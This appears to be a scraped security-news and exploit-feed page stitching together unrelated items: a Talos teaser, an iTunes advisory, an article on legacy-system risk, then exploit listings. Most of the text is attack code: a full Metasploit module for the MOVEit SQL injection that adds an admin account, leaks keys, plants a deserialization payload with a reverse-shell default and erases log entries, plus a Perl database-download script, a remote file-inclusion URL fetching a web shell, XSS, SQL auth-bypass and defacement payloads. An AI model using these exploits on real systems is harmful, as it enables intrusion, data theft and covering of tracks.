Today, Talos is publishing a glimpse into the most prevalent threats we've observed between June 16 and June 23. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key

Threat Roundup for June 16 to June 23

A logic issue was addressed with improved checks. This issue is fixed in iTunes 12.12.9 for Windows. An app may be able to elevate privileges

This document describes the security content of iTunes 12.12.9 for Windows.

**About Apple security updates**

For our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the Apple security updates page.

Apple security documents reference vulnerabilities by CVE-ID when possible.

For more information about security, see the Apple Product Security page.

**iTunes 12.12.9 for Windows**

Released May 23, 2023

**iTunes**

Available for: Windows 10 and later

Impact: An app may be able to elevate privileges

Description: A logic issue was addressed with improved checks.

CVE-2023-32353: Zeeshan Shaikh (@bugzzzhunter) – Synopsys Cybersecurity Research Center (CyRC)

**iTunes**

Available for: Windows 10 and later

Impact: An app may be able to gain elevated privileges

Description: A logic issue was addressed with improved checks.

CVE-2023-32351: ycdxsb of VARAS@IIE

Information about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. Contact the vendor for additional information.

Published Date: May 23, 2023

CVE-2023-32353: About the security content of iTunes 12.12.9 for Windows

For line-of-business execs, the fear of grinding mission-critical systems to a halt overrides the fear of ransomware. How can CISOs overcome this?

Dirk Hodgson, the director of cybersecurity for NTT Australia, tells a story. He once worked with a company that did scientific measurements. The highly specialized firm used highly specialized equipment, and one large piece of equipment cost them $2 million when purchased years ago.

The hardware did not cause any issues, and the manufacturer routinely replaced parts and performed maintenance, as per their contract. The security problem was the operating system, which was Windows XP. The company went to the manufacturer and asked if it could upgrade the OS to a current and supported OS.

Not a problem, replied the manufacturer. The company merely has to buy a new multimillion-dollar system, and that will come with a current OS. As for updating the OS on the current machine? The manufacturer declined.

"That thousand-dollar upgrade would require a multimillion-dollar investment," Hodgson says. "Legacy software is definitely a big problem."

For decades, security executives have battled legacy systems. The fight has gotten more intense as the threat landscape has grown more complicated, tangled up in remote workers, partners, IoT, and cloud integrations. There are many technological ways to try to mitigate the legacy threat — isolation, virtualization, replication in a sandbox, etc. — but none of those deal with corporate politics and the fear of letting security teams touch legacy systems at all.

**Uptime Issues Take Priority for Line-of-Business**

The issues with legacy systems fall into two distinct buckets: cybersecurity issues and uptime issues. For the line-of-business (LOB) executive, the uptime issue — the fear that touching anything in the legacy environment could cause the system to crash — is far more frightening. And because these legacy systems usually operate quite well day to day, the business executive sees zero reason to toy with them.

The LOB also often legitimately worries that they won't have the capabilities to restore the system if it does crash because the people who wrote the code are long gone, the vendor who manufactured the hardware may no longer be in business, and the documentation for the software is either nonexistent or woefully inadequate.

Worst of all, legacy systems are often truly mission-critical, such as those running assembly lines. Those systems crashing could easily halt production for an indeterminate period, and worse, could trigger cascading failures across connected systems.

"The big surprise about legacy systems is that since they have been around for so long, almost everything else is connected to them," says Michael Smith, field CTO at Vercara. "So you have this huge Gordian knot of dependencies that make it nearly impossible to upgrade or decommission that legacy system, and you have to do a lot of network and log analysis to understand what other systems are connecting to them and when."

**Bubble Wrap Doesn't Work for Everything**

"Business executives are right to be cautious when allowing security teams to touch mission-critical legacy systems," says Eoin Hinchy, founder and CEO of Tines. "Security teams should instead focus on reducing the attack surface area of legacy systems. In other words, wrap them in bubble wrap."

Although the bubble-wrap concept is a popular means of dealing with legacy, it doesn't always work. And therein lies the real conundrum. Not only does this effort still sometimes fail, but there is no reliable way of predicting such a failure.

"One of the challenges with legacy is that is an accumulation of a technical debt that amasses over time," says David Burg, cybersecurity leader for Ernst & Young Americas. "When they were built, (developers) were working with the institutional knowledge that existed at that time. The documentation of architecture, interoperability, and dependencies and such were likely never documented. People come and go."

Beyond the traditional security risks, NTT Australia's Hodgson points out that system certification is another complicating factor. "A system is certified to a particular level. If patched, there is a reasonable chance that it will work fine, but you might lose that accreditation that you bought," he says.

And many of these specialized systems are physically difficult to replace even if the LOB chooses to do so. "Consider medical facilities installing MRI machines. They have to be craned in, you have to install lead in the walls," Hodgson says. "You are going to be keeping that for a very long time."

**What CISOs Want**

This brings the debate to a conflict between ideal and practical. From the board/CEO/CISO perspective, the ideal would be to replace all of the legacy systems with modernized systems that can effortlessly support today's cybersecurity and compliance requirements. But even if the enterprise is willing to spend the money to make that switch, it may simply not be practical.

"For many legacy system applications, data access, calculation, and even communications performance cannot be easily matched in a PC environment, if at all," says Bob Hansmann, senior product marketing manager for security at Infoblox. "The work to migrate/rewrite Cobol, Fortran, RPG II, and other applications to PC platforms is mountainous and hard to cost-justify. And even if the code is migrated, it needs to be heavily tested and modified for performance — as in speed and accuracy — often due to how different PC hardware is from mainframe and mini hardware."

The lack of actionable documentation is a critical factor in updating legacy systems, but the problem is not limited to legacy. Today's developers — whether it's a software vendor creating apps for wide distribution or an enterprise developer creating homegrown software — still do not document code in any usable way. Thus, the next generation of legacy systems may suffer from the same problems.

**Build Documentation Into Future Legacy**

Ayman Al Issa, the industrial cybersecurity lead at McKinsey, labels the lack of actionable documentation today "a major issue."

"We don't see good documentation at all," he says. "It's a cultural issue. They don't see the value of documentation. This includes maintenance issues and any change to the system. They are simply not documented. People are lazy about documenting everything."

Al Issa suggests that companies need to create their own documentation based on the teams managing the systems. But to avoid the single-point-of-failure problem, "they need to do a rotation of duties so that there's not only one person who can operate the systems," he says.

In theory, management should insist that proper documentation happen, but instead, managers are pressured to deliver. Once the developer completes Project A, do they insist that the developer spend a week documenting everything, or do they tell the developer to move onto the next project, which is what the developer wants to do anyway?

Burg says the only viable fix is to incorporate strong document requirements into the DevSecOps process: "We have to make this contemporaneous documentation or it won't happen."

Why Legacy System Users Prioritize Uptime Over Security

This Metasploit module exploits an SQL injection vulnerability in the MOVEit Transfer web application that allows an unauthenticated attacker to gain access to MOVEit Transfer's database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker can leverage an information leak be able to upload a .NET deserialization payload.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(      update_info(        info,        'Name' => 'MOVEit SQL Injection vulnerability',        'Description' => %q{          This module exploits an SQL injection vulnerability in the MOVEit Transfer web application          that allows an unauthenticated attacker to gain access to MOVEit Transfer’s database.          Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an          attacker can leverage an information leak be able to upload a .NET deserialization payload.        },        'License' => MSF_LICENSE,        'Author' => [          'sfewer-r7', # PoC https://github.com/sfewer-r7/CVE-2023-34362          'rbowes-r7', # research          'bwatters-r7' # module        ],        'References' => [          ['CVE', '2023-34362' ],          ['URL', 'https://github.com/sfewer-r7/CVE-2023-34362'],          ['URL', 'https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis'],          ['URL', 'https://www.wiz.io/blog/cve-2023-34362']        ],        'Platform' => 'win',        'Arch' => [ARCH_CMD],        'Payload' => {          'Space' => 345        },        'Targets' => [          [            'Windows Command',            {              'DefaultOptions' => {                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp',                'RPORT' => 443,                'SSL' => true              }            }          ],        ],        'DisclosureDate' => '2023-05-31',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'Reliability' => [ REPEATABLE_SESSION ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]        }      )    )    register_options(      [        Msf::OptString.new('TARGET_URI', [ false, 'Target URI', '/api/v1/token']),        Msf::OptString.new('USERNAME', [ true, 'Username', Rex::Text.rand_text_alphanumeric(5..11)]),        Msf::OptString.new('LOGIN_NAME', [ true, 'Login Name', Rex::Text.rand_text_alphanumeric(5..11)]),        Msf::OptString.new('PASSWORD', [ true, 'Password', Rex::Text.rand_text_alphanumeric(5..11)])      ]    )    @moveit_token = nil    @moveit_instid = nil    @guest_email_addr = "#{Rex::Text.rand_text_alphanumeric(5..12)}@#{Rex::Text.rand_text_alphanumeric(3..6)}.com"    @uploadfile_name = Rex::Text.rand_text_alphanumeric(8..15)    @uploadfile_size = rand(5..64)    @uploadfile_data = Rex::Text.rand_text_alphanumeric(@uploadfile_size)    @user_added = false    @files_json = nil  end  def begin_file_upload(folders_json, token_json)    boundary = rand_text_numeric(27)    post_data = "--#{boundary}\r\n"    post_data << "Content-Disposition: form-data; name=\"name\"\r\n\r\n#{@uploadfile_name}\r\n--#{boundary}\r\n"    post_data << "Content-Disposition: form-data; name=\"size\"\r\n\r\n#{@uploadfile_size}\r\n--#{boundary}\r\n"    post_data << "Content-Disposition: form-data; name=\"comments\"\r\n\r\n\r\n--#{boundary}--\r\n"    res = send_request_raw({      'method' => 'POST',      'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable"),      'headers' => {        'Content-Type' => 'multipart/form-data; boundary=' + boundary,        'Authorization' => "Bearer #{token_json['access_token']}"      },      'connection' => 'close',      'accept' => '*/*',      'data' => post_data.to_s    })    fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #1 (#{files_response.body})") if res.nil? || res.code != 200    files_json = res.get_json_document    vprint_status("Initiated resumable file upload for fileId '#{files_json['fileId']}'...")    files_json  end  def check    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=capa'),      'connection' => 'close',      'accept' => '*/*'    })    version = nil    if res && res.code == 200 && res.headers.key?('X-MOVEitISAPI-Version')      version = Rex::Version.new(res.headers['X-MOVEitISAPI-Version'])      # 2020.1.x AKA 12.1.x      return Exploit::CheckCode::Appears if version >= Rex::Version.new('12.1.0') && version < Rex::Version.new('12.1.10')      # 2021.0.x AKA 13.0.x      return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.0.0') && version < Rex::Version.new('13.0.8')      # 2021.1.x AKA 13.1.x      return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.1.0') && version < Rex::Version.new('13.1.6')      # 2022.0.x AKA 14.0.x      return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.0.0') && version < Rex::Version.new('14.0.6')      # 2022.1.x AKA 14.1.x      return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.1.0') && version < Rex::Version.new('14.1.7')      # 2023.0.x AKA 15.0.x      return Exploit::CheckCode::Appears if version >= Rex::Version.new('15.0.0') && version < Rex::Version.new('15.0.3')    else      return Exploit::CheckCode::Safe    end    return Exploit::CheckCode::Unknown  end  def cleanup    cleanup_user(@files_json) if @user_added    super  end  def cleanup_user(files_json)    hax_username = datastore['USERNAME']    hax_loginname = datastore['LOGIN_NAME']    deleteuser_payload = [      "DELETE FROM moveittransfer.fileuploadinfo WHERE FileID='#{files_json['fileId']}'", # delete the deserialization payload      "DELETE FROM moveittransfer.files WHERE UploadUsername='#{hax_username}'", # delete the file we uploaded      "DELETE FROM moveittransfer.activesessions WHERE Username='#{hax_username}'", #      "DELETE FROM moveittransfer.users WHERE Username='#{hax_username}'", # delete the user account we created      "DELETE FROM moveittransfer.log WHERE Username='#{hax_username}'", # The web ASP stuff logs by username      "DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname      "DELETE FROM moveittransfer.log WHERE Username='Guest:#{@guest_email_addr}'", # The SQLi generates a guest log entry.    ]    if @user_added      vprint_status("Deleting user #{hax_username}")      sqli(sqli_payload(deleteuser_payload))      @user_added = false    end  end  def create_sysadmin    hax_username = datastore['USERNAME']    hax_password = datastore['PASSWORD']    hax_loginname = datastore['LOGIN_NAME']    createuser_payload = [      "UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*'",      "INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')",      "UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'",      "UPDATE moveittransfer.users SET InstID='#{@moveit_instid}' WHERE Username='#{hax_username}'",      "UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, Rex::Text.rand_text_alphanumeric(4))}' WHERE Username='#{hax_username}'",      "UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'",      "UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'",    ]    res = sqli(sqli_payload(createuser_payload))    fail_with(Msf::Exploit::Failure::Unknown, "Couldn't perform initial SQLi (#{res.body})") if res.code != 200    @user_added = true  end  def encrypt_deserialization_gadget(gadget, org_key)    org_key = org_key.gsub(' ', '')    org_key = [org_key].pack('H*').bytes.pack('C*')    deserialization_gadget = moveitv2encrypt(gadget, org_key)    deserialization_gadget  end  def find_folder_id(token_json)    folders_response = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri('/api/v1/folders'),      'connection' => 'close',      'accept' => '*/*',      'headers' => {        'Authorization' => "Bearer #{token_json['access_token']}"      }    })    fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API folders (#{folders_response.body})") if folders_response.nil? || folders_response.code != 200    folders_json = JSON.parse(folders_response.body)    vprint_status("Found folderId '#{folders_json['items'][0]['id']}'.")    folders_json  end  def get_csrf_token(res)    fail_with(Msf::Exploit::Failure::Unknown, 'No csrf token, or my code is bad') unless res.to_s.split(/\n/).join =~ /.*csrftoken" value="([a-f0-9]*)"/    ::Regexp.last_match(1)  end  def guestaccess_request(body)    res = send_request_cgi({      'method' => 'POST',      'keep_cookies' => true,      'uri' => normalize_uri('guestaccess.aspx'),      'connection' => 'close',      'accept' => '*/*',      'vars_post' => body    })    res  end  # Perform a request to the ISAPI endpoint with an arbitrary transaction  def isapi_request(transaction, headers)    send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=m2'),      'keep_cookies' => true,      'connection' => 'close',      'accept' => '*/*',      'headers' => {        'X-siLock-Test': 'abcdX-SILOCK-Transaction: folder_add_by_path',        'X-siLock-Transaction': transaction      }.merge(headers)    })  end  def leak_encryption_key(token_json, files_json)    haxleak_payload = [      # The \ gets escaped, so we leverage CHAR_LENGTH(39) to get the key we want (Standard Networks\siLock\Institutions\0) as all other KeyName's will be longer (Standard Networks\siLock\Institutions\1234)      "UPDATE moveittransfer.files SET UploadAgentBrand=(SELECT PairValue FROM moveittransfer.registryaudit WHERE PairName='Key' AND CHAR_LENGTH(KeyName)=#{'Standard Networks\siLock\Institutions\0'.length}) WHERE ID='#{files_json['fileId']}'"    ]    sqli(sqli_payload(haxleak_payload))    leak_response = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri("/api/v1/files/#{files_json['fileId']}"),      'connection' => 'close',      'accept' => '*/*',      'headers' => {        'Authorization' => "Bearer #{token_json['access_token']}"      }    })    fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #LEAK (#{leak_response.body})") if leak_response.nil? || leak_response.code != 200    leak_json = JSON.parse(leak_response.body)    org_key = leak_json['uploadAgentBrand']    vprint_status("Leaked the Org Key: #{org_key}")    org_key  end  def makev1password(password, salt = 'AAAA')    fail_with(Msf::Exploit::Failure::BadConfig, 'password cannot be empty') if password.empty?    fail_with(Msf::Exploit::Failure::BadConfig, 'salt must be 4 bytes') if salt.length != 4    # These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret    pwpre = Base64.decode64('=VT2jkEH3vAs=')    pwpost = Base64.decode64('=0maaSIA5oy0=')    md5 = Digest::MD5.new    md5.update(pwpre)    md5.update(salt)    md5.update(password)    md5.update(pwpost)    pw = [(4 + 4 + 16), 0, 0, 0].pack('CCCC')    pw << salt    pw << md5.digest    return Base64.strict_encode64(pw).gsub('+', '-')  end  def moveitv2encrypt(data, org_key, iv = nil, tag = '@%!')    fail_with(Msf::Exploit::Failure::BadConfig, 'org_key must be 16 bytyes') if org_key.length != 16    if iv.nil?      iv = Rex::Text.rand_text_alphanumeric(4)      # as we only store the first 4 bytes in the header, the IV must be a repeating 4 byte sequence.      iv *= 4    end    # MOVEit.DMZ.Core.Cryptography.Encryption    key = [64, 131, 232, 51, 134, 103, 230, 30, 48, 86, 253, 157].pack('C*')    key += org_key    key += [0, 0, 0, 0].pack('C*')    # MOVEit.Crypto.AesMOVEitCryptoTransform    cipher = OpenSSL::Cipher.new('AES-256-CBC')    cipher.encrypt    cipher.key = key    cipher.iv = iv    encrypted_data = cipher.update(data) + cipher.final    data_sha1_hash = Digest::SHA1.digest(data).unpack('C*')    org_key_sha1_hash = Digest::SHA1.digest(org_key).unpack('C*')    # MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader    header = [      225, # MOVEitV2EncryptedStringHeader      0,      data_sha1_hash[0],      data_sha1_hash[1],      org_key_sha1_hash[0],      org_key_sha1_hash[1],      org_key_sha1_hash[2],      org_key_sha1_hash[3],      iv.unpack('C*')[0],      iv.unpack('C*')[1],      iv.unpack('C*')[2],      iv.unpack('C*')[3],    ].pack('C*')    # MOVEit.DMZ.Core.Cryptography.Encryption    return tag + Base64.strict_encode64(header + encrypted_data)  end  def populate_token_instid    begin      res = send_request_cgi({        'method' => 'GET',        'keep_cookies' => true,        'connection' => 'keep-alive',        'accept' => '*/*'      })      cookies = res.get_cookies      # Get the session id from the cookies      fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') unless cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/      @moveit_token = ::Regexp.last_match(1)      vprint_status("Received ASP.NET_SessionId cookie: #{@moveit_token}")      # Get the InstID from the cookies      fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') unless cookies =~ /siLockLongTermInstID=([0-9]+);/      @moveit_instid = ::Regexp.last_match(1)      vprint_status("Received siLockLongTermInstID cookie: #{@moveit_instid}")    end    true  end  def request_api_token    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri('/api/v1/token'),      'Content-Type' => 'application/x-www-form-urlencoded',      'connection' => 'keep-alive',      'accept' => '*/*',      'vars_post' => {        'grant_type' => 'password',        'username' => datastore['LOGIN_NAME'],        'password' => datastore['PASSWORD']      }    })    fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API token (#{res.body})") if res.code != 200    token_json = JSON.parse(res.body)    vprint_status("Got API access token='#{token_json['access_token']}'.")    token_json  end  def set_session(session_hash)    session_vars = {}    session_index = 0    session_hash.each_pair do |k, v|      session_vars["X-siLock-SessVar#{session_index}"] = "#{k}: #{v}"      session_index += 1    end    isapi_request('session_setvars', session_vars)  end  def sqli(sql_payload)    # Set up a fake package in the session. The order here is important. We set these session    # variables one per request, so first set the package information, then switch over to a    # 'Guest' username to allow the CSRF/injection to work as expected. If we don't do this    # order the session will be cleared and the injection will not work.    set_session({      'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06      'MyPkgID' => '0', # Is self provisioned? (must be 0)      'MyGuestEmailAddr' => @guest_email_addr, # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs      'MyPkgInstID' => '1234', # this can be any int value      'MyPkgSelfProvisionedRecips' => sql_payload,      'MyUsername' => 'Guest'    })    # Get a CSRF token - this has to be *after* you set MyUsername, since the    # username is incorporated into it    #    # Transaction => request type, different types will work    # Arg06 => the package access code (must match what's set above)    # Arg12 => promptaccesscode requests a form, which contains a CSRF code    body = { 'Transaction' => 'dummy', 'Arg06' => 'accesscode', 'Arg12' => 'promptaccesscode' }    csrf = get_csrf_token(guestaccess_request(body))    # This does the actual injection    body = {      'Arg06' => 'accesscode',      'transaction' => 'secmsgpost',      'Arg01' => 'subject',      'Arg04' => 'body',      'Arg05' => 'sendauto',      'Arg09' => 'pkgtest9',      'csrftoken' => csrf    }    guestaccess_request(body)  end  def sqli_payload(sql_payload)    # Create the initial injection, and create the session object    payload = [      # The initial injection      "#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.com')",    ].concat(sql_payload)    # Join our payload, and terminate with a comment character    return payload.join(';') + ';#'  end  def trigger_deserialization(token_json, files_json, folders_json)    files_response = send_request_cgi({      'method' => 'PUT',      'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable&fileId=#{files_json['fileId']}"),      'connection' => 'close',      'accept' => '*/*',      'verify' => false,      'headers' => {        'Authorization' => "Bearer #{token_json['access_token']}",        'Content-Type' => 'application/octet-stream',        'Content-Range' => "bytes 0-#{@uploadfile_size - 1}/#{@uploadfile_size}",        'X-File-Hash' => Digest::SHA1.hexdigest(@uploadfile_data)      },      'data' => @uploadfile_data    })    # 500 if payload runs :)    fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})") if files_response.code != 500  end  def upload_encrypted_gadget(encrypted_gadget, files_json)    haxupload_payload = [      "UPDATE moveittransfer.fileuploadinfo SET State='#{encrypted_gadget}' WHERE FileID='#{files_json['fileId']}'",    ]    vprint_status('Planting encrypted gadget into the DB...')    sqli(sqli_payload(haxupload_payload))  end  def exploit    # Get the sessionID and siLockLongTermInstID    print_status('[01/11] Get the sessionID and siLockLongTermInstID')    populate_token_instid    # Allow Remote Access and Create new sysAd    print_status('[02/11] Create New Sysadmin')    create_sysadmin    print_status('[03/11] Get API Token')    token_json = request_api_token    print_status('[04/11] Get Folder ID')    folders_json = find_folder_id(token_json)    print_status('[05/11] Begin File Upload')    @files_json = begin_file_upload(folders_json, token_json)    print_status('[06/11] Leak Encryption Key')    org_key = leak_encryption_key(token_json, @files_json)    print_status('[07/11] Generate Gadget')    gadget = ::Msf::Util::DotNetDeserialization.generate(      payload.encoded,      gadget_chain: :TextFormattingRunProperties,      formatter: :BinaryFormatter    )    print_status('[08/11] Encrypt Gadget')    b64_gadget = Rex::Text.encode_base64(gadget)    encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key)    print_status('[09/11] Upload Encrypted Gadget')    upload_encrypted_gadget(encrypted_gadget, @files_json)    print_status('[10/11] Trigger Gadget')    trigger_deserialization(token_json, @files_json, folders_json)    print_status('[11/11] Cleaning Up')    cleanup_user(@files_json)  endend

MOVEit SQL Injection

Advanced ASP Chat version 2.0 suffers from a database disclosure vulnerability.

====================================================================================================================================  
| # Title     : Advanced ASP chat 2.0 Database Disclosure Exploit                                                                  |  
| # Author    : indoushka                                                                                                          |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(32-bit)                                              |   
| # Vendor    : http://p30vel.ir                                                                                                   |    
| # Dork      :                                                                                                                    |  
====================================================================================================================================  
poc :

[-] Download the database: 

    The following Perl exploit will attempt to download the (acart.mdb ) file  
    The (acart.mdb) It is the database and contains all the data .

  [+] Dorking İn Google Or Other Search Enggine.

[+] save code as perl file : poc.pl

[+] code :

poc :

[-] Download the database: 

    The following Perl exploit will attempt to download the (acart.mdb ) file  
    The (acart.mdb) It is the database and contains all the data .

  [+] Dorking İn Google Or Other Search Enggine.

[+] save code as perl file : poc.pl

[+] code :

#!/usr/bin/perl -w  
#  
# Advanced ASP chat 2.0 Database Disclosure Exploit   
#  
# Author : indoushka  
#  
# Vondor : http://p30vel.ir

   use LWP::Simple;  
use LWP::UserAgent;

system('cls');  
print ('Advanced ASP chat 2.0 Database Disclosure Exploit');  
system('color a');

if(@ARGV < 2)  
{  
print "[-]How To Use\n\n";  
&help; exit();  
}  
sub help()  
{  
print "[+] usage1 : perl $0 site.com /path/ \n";  
print "[+] usage2 : perl $0 localhost / \n";  
}  
($TargetIP, $path, $File,) = @ARGV;

$File="acart.mdb";  
my $url = "http://" . $TargetIP . $path . $File;  
print "\n Fuck you wait!!! \n\n";

my $useragent = LWP::UserAgent->new();  
my $request = $useragent->get($url,":content_file" => "D:/acart.mdb");

if ($request->is_success)  
{  
print "[+] $url Exploited!\n\n";  
print "[+] Database saved to D:/acart.mdb\n";  
exit();  
}  
else  
{  
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";  
exit();  
}

Greetings to :=========================================================================================================================  
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*                                            |          
=======================================================================================================================================

Advanced ASP Chat 2.0 Database Disclosure

Adult Video Script version 3.0 suffers from local and remote file inclusion vulnerabilities.

    ====================================================================================================================================| # Title     : Adult Video Script 3.0 RFI /LFI Vulnerability                                                                      || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               | | # Download  : https://update.avscms.com/files/avscms-8.2-full.zip                                                                || # Dork      :  Powered by AVSCMS                                                                                                 |====================================================================================================================================P0C :[+] Dorking İn Google Or Other Search Enggine.[+] R/L File Inclusion :    Line      : 20 = include_once ('./lang/'.$lang_include);    Function  : include_once    Variables :$lang_include    C:\web\www\upload\siteadmin\editor_files\image.php[+] http://127.0.0.1/www/lustubecom/siteadmin/editor_files/image.php?lang_include=http://www.dcvi.net/r57.txt?Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet                                     |        =======================================================================================================================================

Adult Video Script 3.0 File Inclusion

Adiscon LogAnalyzer version 4.1.5 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Adiscon LogAnalyzer V 4.1.5 Xss Vulnerability                                                                      || # Author    : indoushka                                                                                                          || # Telegram  : @indoushka                                                                                                         || # Tested on : windows 10 Français V.(Pro)                                                                                        || # Vendor    : http://loganalyzer.adiscon.com/                                                                                    |  | # Dork      : "Adiscon LogAnalyzer Version 4.1.5"                                                                                |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] use payload : /login.php?referer=/userchange.php%3Fop%3Dchangeview%22%3E%3Cscript%3Eprompt(/indoushka/)%3C/script%3E%26viewid%3DSYSLOG[+] http://127.0.0.1/rsyslog.infogeniecm/login.php?referer=/userchange.php%3Fop%3Dchangeview%22%3E%3Cscript%3Eprompt(/indoushka/)%3C/script%3E%26viewid%3DSYSLOGGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh     |=======================================================================================================================================

Adiscon LogAnalyzer 4.1.5 Cross Site Scripting

Adapt Inventory Management System version 1.0.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : Adapt Inventory Management System 1.0.0 Auth By Pass Vulnerability                                                 || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://codecanyon.net/item/adapt-inventory-management-system/22838514?s_rank=7                                    |  | # Dork      :                                                                                                                    |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload user & Pass : 1' or 1=1 -- -[+]  https://127.0.0.1/www/adaptinventory.com/demo/index.phpGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh     |=======================================================================================================================================

Adapt Inventory Management System 1.0.0 SQL Injection

Active Newspaper version 2.0 suffers from an html injection vulnerability.

    ====================================================================================================================================| # Title     : Active Newspaper v2.0 HTML inject Vulnerability                                                                    || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            | | # Vendor    : https://activeitzone.com/demo/newspaper_v2.0/                                                                      |  | # Dork      : n/a                                                                                                                |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Register new member .[+] go to edit your profil https://127.0.0.1/activeitzonecom/demo/newspaper_v2.0/home/profile[+] edit your profil , put your code or use this code for test in First Name case or Last Name or ...etc :<marquee><font color=lime size=32>Hacked by indoushka</font></marquee></tr><td align="center"><a href="https://cxsecurity.com/author/indoushka/1/"><img src="https://cert.cx/cxstatic/images/12018/cxseci.png" alt="" width="650" height="120" border="0"></a></tr>Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * ViRuS_Ra3cH * yasMouh   |        =======================================================================================================================================

Active Newspaper 2.0 HTML Injection

Improper Access Control in GitHub repository admidio/admidio prior to 4.2.9.

**Description**

user can delete others's message. we know the report https://huntr.dev/bounties/24ae402f-220f-41c6-962e-47c26938986e/ , but we find that we do not fix one case.

**Proof of Concept**

1 user1 send admin a greeting card1

2 user2 send admin a greeting card2

3 user1 delete his message related to greeting card1, using burpsuite hijack the request.

    POST /adm_program/modules/messages/messages.php?msg_uuid=7cd5f4ed-dedc-46c6-b4ec-3567246583ef HTTP/1.1
    Host: localhost:8080
    Content-Length: 49
    sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
    Accept: */*
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
    sec-ch-ua-platform: "macOS"
    Origin: http://localhost:8080
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://localhost:8080/adm_program/modules/messages/messages.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
